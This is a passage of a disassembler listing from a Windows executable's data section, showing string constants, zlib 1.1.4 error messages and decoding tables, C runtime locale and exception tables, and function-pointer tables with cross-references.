aReadFrom db 'read from',0 ; DATA XREF: .text:loc_4BA9B9o
align 4
aWriteTo db 'write to',0 ; DATA XREF: .text:004BA9ADo
align 10h
aOutputdebugs_0 db 'OutputDebugStringW',0 ; DATA XREF: .text:004B9873o
align 4
aOutputdebugstr db 'OutputDebugStringA',0 ; DATA XREF: .text:004B9861o
align 4
off_4EDD08 dd offset byte_53525F ; DATA XREF: .text:004B9193o
dword_4EDD0C dd 7525h ; DATA XREF: .text:004B9178o
aSetprocessshut db 'SetProcessShutdownParameters',0 ; DATA XREF: .text:004B852Bo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: .text:004B851Do
align 10h
word_4EDD40 dw 0FEEBh ; DATA XREF: .text:004BDCF5r
byte_4EDD42 db 0 ; DATA XREF: .text:004BDCFFr
align 4
aPropertysheeta db 'PropertySheetA',0 ; DATA XREF: sub_4BDFA4+6Ao
align 4
aComctl32_dll db 'COMCTL32.DLL',0 ; DATA XREF: sub_4BDFA4+56o
; sub_4BE07A+6o
align 4
a_trackmouseeve db '_TrackMouseEvent',0 ; DATA XREF: sub_4BE07A+1Ao
align 4
dd 0FFFFFFFFh
aRaidErrorUCrea db 'RAID error %u creating listwindow, reverting to older format.',0
; DATA XREF: .text:004BE176o
align 4
aListbox db 'LISTBOX',0 ; DATA XREF: .text:004BE151o
; char a_dbglog[]
a_dbglog db '.DbgLog',0 ; DATA XREF: sub_4BE373:loc_4BE467o
; char aU[]
aU db '-%u',0 ; DATA XREF: sub_4BE373+C9o
asc_4EDDD0 db ' --- ',0 ; DATA XREF: .text:004BE4F0o
align 4
aS_03d db '%s.%03d',0 ; DATA XREF: .text:004BE4DEo
aC db '%c',0 ; DATA XREF: .text:004BE4BDo
align 4
off_4EDDE4 dd offset a1_1_4_1 ; DATA XREF: sub_4BE535+19r
; "1.1.4"
a1_1_4_1 db '1.1.4',0 ; DATA XREF: .data:off_4EDDE4o
align 10h
byte_4EDDF0 db 31h ; DATA XREF: sub_4C09F4+Fr
a_1_4 db '.1.4',0
align 4
aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_4C0B75+DEo
align 4
aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_4C0B75+120o
aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_4C0B75+1BEo
align 10h
aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_4C0B75+3D0o
aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_4C0B75+659o
align 4
off_4EDE68 dd offset aNeedDictiona_0 ; DATA XREF: .text:004C1695r
; "need dictionary"
dd offset aStreamEnd ; "stream end"
dd offset dword_4F49CC
dd offset aFileError ; "file error"
off_4EDE78 dd offset aStreamError ; DATA XREF: sub_4BEBAE+63r
; "stream error"
dd offset aDataError ; "data error"
off_4EDE80 dd offset aInsufficient_0 ; DATA XREF: sub_4BE535+26Br
; "insufficient memory"
off_4EDE84 dd offset aBufferError ; DATA XREF: sub_4BEBAE+82r
; sub_4BEBAE+1CEr ...
; "buffer error"
dd offset aIncompatibleVe ; "incompatible version"
dd offset dword_4F49D0
aNeedDictiona_0 db 'need dictionary',0 ; DATA XREF: .data:off_4EDE68o
aStreamEnd db 'stream end',0 ; DATA XREF: .data:004EDE6Co
align 4
aFileError db 'file error',0 ; DATA XREF: .data:004EDE74o
align 4
aStreamError db 'stream error',0 ; DATA XREF: .data:off_4EDE78o
align 4
aDataError db 'data error',0 ; DATA XREF: .data:004EDE7Co
align 4
aInsufficient_0 db 'insufficient memory',0 ; DATA XREF: .data:off_4EDE80o
aBufferError db 'buffer error',0 ; DATA XREF: .data:off_4EDE84o
align 4
aIncompatibleVe db 'incompatible version',0 ; DATA XREF: .data:004EDE88o
align 10h
a1_1_4_0 db '1.1.4',0 ; DATA XREF: .text:004C1683o
align 4
off_4EDF18 dd offset dword_4F25A8 ; DATA XREF: sub_4C1960+1Co
dd offset dword_4F245C
dd 101h, 11Eh, 0Fh, 0
off_4EDF30 dd offset dword_4F2A28 ; DATA XREF: sub_4C1960+3Ao
dd offset dword_4F24D0
dd 0
dd 1Eh, 0Fh, 0
dword_4EDF48 dd 0 ; DATA XREF: sub_4C1960+58o
dd offset dword_4F2548
dd 0
dd 13h, 7
aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_4C4F0F+2A6o
align 10h
aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_4C4F0F+3E3o
align 10h
aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_4C4F0F+7DDo
aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_4C4F0F+DECo
align 10h
aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_4C63A5+353o
aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_4C63A5+61Fo
align 8
dword_4EE008 dd 9 ; DATA XREF: sub_4C7C1B+6r
dword_4EE00C dd 5 ; DATA XREF: sub_4C7C1B+11r
dword_4EE010 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh
; DATA XREF: sub_4C7C1B+1Bo
dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h
dd 800h, 20h, 900h, 0A0h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h
dd 0A1h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_4EF010 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5
; DATA XREF: sub_4C7C1B+24o
dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h
dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h
dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h
dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4
dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah
dd 0C01h, 556h, 0C1h, 5C0h, 6001h
aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_4C7120+65o
aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_4C7120+7Fo
aOversubscrib_0 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_4C7A96+84o
align 10h
aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_4C7A96+96o
align 10h
aOversubscrib_1 db 'oversubscribed distance tree',0 ; DATA XREF: sub_4C7A96+119o
align 10h
aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_4C7A96+12Bo
align 4
aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_4C7A96+144o
align 10h
dword_4EF200 dd 0 ; DATA XREF: sub_4C4F0F+C00r
; sub_4C4F0F+D60r ...
dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh
dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh
aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_4C7E30+459o
align 4
aInvalidLiter_0 db 'invalid literal/length code',0 ; DATA XREF: sub_4C7E30+63Do
align 10h
dword_4EF280 dd 19930520h, 3 dup(0) ; DATA XREF: .text:004C9457o
; __NLG_Notify_0+2o
off_4EF290 dd offset off_4EF298 ; DATA XREF: sub_4C975E+12r
align 8
off_4EF298 dd offset dword_4F3210 ; DATA XREF: .data:off_4EF290o
dd offset byte_4F320C
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday_0 ; "Sunday"
dd offset aMonday_0 ; "Monday"
dd offset aTuesday_0 ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday_0 ; "Thursday"
dd offset aFriday_0 ; "Friday"
dd offset aSaturday_0 ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril_0 ; "April"
dd offset aMay ; "May"
dd offset aJune_0 ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember_0 ; "November"
dd offset aDecember_0 ; "December"
dd offset aAm_0 ; "AM"
dd offset aPm_0 ; "PM"
dd offset aMDYy ; "M/d/yy"
dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
dd offset aHMmSs ; "H:mm:ss"
off_4EF344 dd offset __exit_0 ; DATA XREF: __amsg_exit_0+1Cr
dword_4EF348 dd 2 ; DATA XREF: __FF_MSGBANNER_0+Er
; __NMSG_WRITE_0+46r ...
off_4EF34C dd offset aNull_0 ; DATA XREF: __output_0:loc_4CA88Fr
; __output_0+457r
; "(null)"
off_4EF350 dd offset aNull_1 ; DATA XREF: __output_0+259r
; "(null)"
off_4EF354 dd offset word_4EF35E ; DATA XREF: _atol_0+23r
; _atol_0:loc_4C95B9r ...
off_4EF358 dd offset word_4EF35E ; DATA XREF: _iswctype_0+18r
db 2 dup(0)
word_4EF35E dw 20h ; DATA XREF: sub_4CDAAD+18r
; .data:off_4EF354o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4EF560 dd 1 ; DATA XREF: _atol_0:loc_4C9560r
; _atol_0:loc_4C95A4r ...
dd 2Eh, 1, 0
dword_4EF570 dd 7080h ; DATA XREF: _localtime+28r
; _localtime:loc_4CA040r ...
dword_4EF574 dd 1 ; DATA XREF: _localtime+3Ar
; ___loctotime_t_0+98r ...
dword_4EF578 dd 0FFFFF1F0h ; DATA XREF: _localtime+59r
; _localtime+8Fr ...
off_4EF57C dd offset dword_545350 ; DATA XREF: .data:off_4EF5FCo
dd 0Fh dup(0)
off_4EF5BC dd offset dword_544450 ; DATA XREF: .data:off_4EF600o
dd 0Fh dup(0)
; char *off_4EF5FC
off_4EF5FC dd offset off_4EF57C ; DATA XREF: __expandtime+334r
; __tzset_0+BAr ...
; char *off_4EF600
off_4EF600 dd offset off_4EF5BC ; DATA XREF: __tzset_0+F4r
; __tzset_0+11Br ...
align 8
dword_4EF608 dd 0FFFFFFFFh ; DATA XREF: __tzset_0+1Dw
; __isindst_0+1Er ...
dword_4EF60C dd 0 ; DATA XREF: __isindst_0:loc_4CB24Dr
; _cvtdate_0+BFw
dword_4EF610 dd 0 ; DATA XREF: __isindst_0+192r
; _cvtdate_0+E0w
align 8
dword_4EF618 dd 0FFFFFFFFh ; DATA XREF: __tzset_0+17w
; __isindst_0+26r ...
dword_4EF61C dd 0 ; DATA XREF: __isindst_0+13Ar
; _cvtdate_0+EAw ...
dword_4EF620 dd 0 ; DATA XREF: __isindst_0+1A1r
; _cvtdate_0+10Bw ...
align 10h
dword_4EF630 dd 0C0000005h ; DATA XREF: _xcptlookup_0+Ar
; _xcptlookup_0+11o
dd 0Bh, 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_4EF6A8 dd 3 ; DATA XREF: __XcptFilter_0+58r
dword_4EF6AC dd 7 ; DATA XREF: __XcptFilter_0+5Er
dword_4EF6B0 dd 0Ah ; DATA XREF: _xcptlookup_0+4r
dword_4EF6B4 dd 8Ch ; DATA XREF: __XcptFilter_0+82r
; __XcptFilter_0+8Fw ...
dword_4EF6B8 dd 0FFFFFFFFh, 0A00h, 10h, 0 ; DATA XREF: __flsbuf_0:loc_4CA4D3o
dword_4EF6C8 dd 2 ; DATA XREF: __NMSG_WRITE_0+Eo
; __NMSG_WRITE_0+28r
off_4EF6CC dd offset aR6002Floatin_0 ; DATA XREF: __NMSG_WRITE_0+FCr
; __NMSG_WRITE_0+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 4F354Ch, 9, 4F3520h, 0Ah, 4F34FCh, 10h, 4F34D0h
dd 11h, 4F34A0h, 12h, 4F347Ch, 13h, 4F3450h, 18h, 4F3418h
dd 19h, 4F33F0h, 1Ah, 4F33B8h, 1Bh, 4F3380h, 1Ch, 4F3358h
dd 78h, 4F3348h, 79h, 4F3338h, 7Ah, 4F3328h, 0FCh, 4F3324h
dd 0FFh, 4F3314h
off_4EF758 dd offset off_4EF758 ; DATA XREF: __NMSG_WRITE_0+1Bo
; sub_4CCBF9+Do ...
off_4EF75C dd offset off_4EF758 ; DATA XREF: sub_4CCBF9:loc_4CCC79r
; sub_4CCBF9+89w ...
dd offset dword_4EF770
dd offset dword_4EF770
dword_4EF768 dd 0FFFFFFFFh ; DATA XREF: sub_4CCBF9r
; sub_4CCD3D:loc_4CCD8Aw
dd 0FFFFFFFFh
dword_4EF770 dd 0F0h, 0F1h, 233h dup(0) ; DATA XREF: .data:004EF760o
; .data:004EF764o
dword_4F0044 dd 5CDh dup(0) ; DATA XREF: UPX0:0042BC8Co
off_4F1778 dd offset off_4EF758 ; DATA XREF: sub_4CCD3D+15r
; sub_4CCD3D+20w ...
dword_4F177C dd 1E0h ; DATA XREF: sub_4CA24A+51r
; sub_4CA3A2:loc_4CA3DEr ...
off_4F1780 dd offset dword_4F4EE0 ; DATA XREF: ___initstdio_0+55o
align 8
dd offset dword_4F4EE0
dd 101h
dword_4F1790 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio_0+72o
dd 1000h, 0
dword_4F17A0 dd 3 dup(0) ; DATA XREF: __flsbuf_0+50o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4F17C0 dd 3 dup(0) ; DATA XREF: __flsbuf_0+58o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4F17F0 dd 84h dup(0) ; DATA XREF: ___initstdio_0+9Bo
off_4F1A00 dd offset sub_4CE4A4 ; DATA XREF: __output_0+3AAr
; ___initstdio_0+69o
off_4F1A04 dd offset sub_4CE4A4 ; DATA XREF: __output_0+3E2r
dd offset sub_4CE4A4
off_4F1A0C dd offset sub_4CE4A4 ; DATA XREF: __output_0+3CBr
dd offset sub_4CE4A4
dd offset sub_4CE4A4
dd 0
dword_4F1A1C dd 0 ; DATA XREF: _cvtdate_0+23r
; _cvtdate_0+A3r
dword_4F1A20 dd 0FFFFFFFFh ; DATA XREF: _cvtdate_0+84r
; _gmtime+79o
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_4F1A50 dd 16Dh ; DATA XREF: ___loctotime_t_0+2Ar
; _cvtdate_0+2Er ...
dword_4F1A54 dd 0FFFFFFFFh ; DATA XREF: _cvtdate_0:loc_4CB351r
; _gmtime+80o
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 2 dup(0)
byte_4F1A90 db 1 ; DATA XREF: __setmbcp_0+E1r
db 2, 4, 8
align 8
dword_4F1A98 dd 3A4h ; DATA XREF: __setmbcp_0+2Fo
dword_4F1A9C dd 82798260h ; DATA XREF: __setmbcp_0+11Dr
dd 21h, 0
dword_4F1AA8 dd 0DFA6h ; DATA XREF: __setmbcp_0+C0r
align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4F1B88 dd 2 dup(0) ; DATA XREF: __setmbcp_0+3Co
dword_4F1B90 dd 1 ; DATA XREF: __dosmaperr_0+Co
dword_4F1B94 dd 16h ; DATA XREF: __dosmaperr_0:loc_4CE256r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4F1CF8 dd 2 dup(0) ; DATA XREF: __dosmaperr_0+19o
off_4F1D00 dd offset sub_490FD0 ; DATA XREF: sub_497D6E+94r
; sub_49B14F+99r ...
off_4F1D04 dd offset sub_49129A ; DATA XREF: sub_4A101A+BDr
; sub_4A2806+96r
off_4F1D08 dd offset sub_4913D4 ; DATA XREF: sub_495329+B9r
; sub_497F97+B8r ...
off_4F1D0C dd offset sub_49170B ; DATA XREF: sub_49CE90+D2r
; sub_49D7B9+A2r ...
off_4F1D10 dd offset sub_491849 ; DATA XREF: sub_4955CD+B2r
; sub_495835+D7r ...
off_4F1D14 dd offset sub_491B6F ; DATA XREF: sub_497E12+175r
; sub_498394+7Fr ...
off_4F1D18 dd offset sub_491DD4 ; DATA XREF: sub_496381+195r
; sub_4985C8+E4r ...
off_4F1D1C dd offset sub_491FA2 ; DATA XREF: sub_4953F2+BBr
; sub_495743+E2r ...
off_4F1D20 dd offset sub_492229 ; DATA XREF: sub_49B95C+10Fr
; sub_49CF72+8Ar ...
off_4F1D24 dd offset sub_4923BD ; DATA XREF: sub_498DD8+D0r
; sub_49B5EE+A0r ...
off_4F1D28 dd offset sub_4926F9 ; DATA XREF: sub_496126+9Br
; sub_499ED8+ECr ...
off_4F1D2C dd offset sub_4929D0 ; DATA XREF: sub_49591C+9Cr
; sub_495DD2+172r ...
off_4F1D30 dd offset sub_492B01 ; DATA XREF: sub_497C2D+8Fr
; sub_4991C7+AFr ...
off_4F1D34 dd offset sub_492DB3 ; DATA XREF: sub_4959C8+9Br
; sub_499942+93r ...
off_4F1D38 dd offset sub_492F0A ; DATA XREF: sub_495547+76r
; sub_499E2C+9Cr ...
off_4F1D3C dd offset sub_493047 ; DATA XREF: sub_499022+DDr
; sub_49AC45+9Fr ...
off_4F1D40 dd offset sub_4931BE ; DATA XREF: sub_495F54+C9r
; sub_49805F+71r ...
off_4F1D44 dd offset sub_4933E6 ; DATA XREF: sub_495A73+C6r
; sub_4962AA+C7r ...
off_4F1D48 dd offset sub_493503 ; DATA XREF: sub_4951DA+85r
; sub_4989E5+9Ar ...
off_4F1D4C dd offset sub_49363C ; DATA XREF: sub_495BCB+172r
; sub_49602D+E9r ...
off_4F1D50 dd offset sub_49383E ; DATA XREF: sub_497CCC+92r
; sub_49823A+76r ...
off_4F1D54 dd offset sub_4939BD ; DATA XREF: sub_49818A+A0r
; sub_499C30+87r ...
off_4F1D58 dd offset sub_493AE6 ; DATA XREF: sub_49526F+AAr
; sub_4954BD+7Ar ...
off_4F1D5C dd offset sub_493DB7 ; DATA XREF: sub_495B49+72r
; sub_495D4D+75r ...
off_4F1D60 dd offset sub_494001 ; DATA XREF: sub_49568F+A4r
; sub_499286+6Er ...
off_4F1D64 dd offset sub_494241 ; DATA XREF: sub_4961D1+C9r
; sub_49C74A+8Ar ...
off_4F1D68 dd offset sub_494360 ; DATA XREF: sub_49961E+D3r
; sub_49A102+14Fr ...
off_4F1D6C dd offset sub_49468A ; DATA XREF: sub_498423+D7r
; sub_49850A+AEr ...
